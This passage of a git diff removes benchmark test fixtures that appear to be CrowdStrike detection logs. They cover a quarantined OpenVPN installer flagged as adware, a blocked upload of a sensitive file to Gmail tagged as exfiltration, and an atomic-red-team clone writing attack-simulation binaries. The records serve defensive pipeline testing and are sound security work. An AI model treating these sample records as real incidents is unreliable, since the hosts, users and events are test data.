"{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "input": { - "type": "cel" - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "crowdstrike-alert" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml deleted file mode 100644 index 30a2b50cf6..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml +++ /dev/null @@ -1 +0,0 @@ -num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log deleted file mode 100644 index 4441a6449e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log +++ /dev/null @@ -1 +0,0 @@ -{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","AgentIdString":"5d77282ab4fxxxxxxxxxx65784cfa8f0","cid":"2cc98db1a4xxxxxxxxxxc94d43bfab70","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","ContentPatterns":[{"ConfidenceLevel":3,"ID":"4392b1416c974a488c31fbc4c97e89f6","MatchCount":1,"Name":"Credentials"}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","CustomerIdString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","DataVolume":39,"Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Destination":{"Channel":"web"},"DetectionType":"rule-based","EgressEventId":"89282731b67811f0a9f0c0892b3c995e","eid":118,"EventTimestamp":1761929044,"EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_DataProtectionDetectionSummaryEvent","FalconHostLink":"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\u003dg04000alcexxxxxxxxxxnfyokz7bajkq","Filename":"sensitive_123.txt","FileType":{"Type":{"CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document","Description":"Plain Text (txt) File","ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text"}},"Hostname":"DESKTOP-OM905R2","IsClipboard":false,"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"Name":"Test attempted to be uploaded to Google Drive","Nonce":3100301192206752520,"PatternId":80005,"Platform":"Windows","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","Severity":90,"SeverityName":"Critical","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","timestamp":"2025-10-31T11:16:38Z","UserName":"Bob","UserNotified":true,"UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","UTCTimestamp":1761909398} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log deleted file mode 100644 index 169b2260ae..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log +++ /dev/null @@ -1,13 +0,0 @@ -{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""} -{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""} -{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""} -{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone 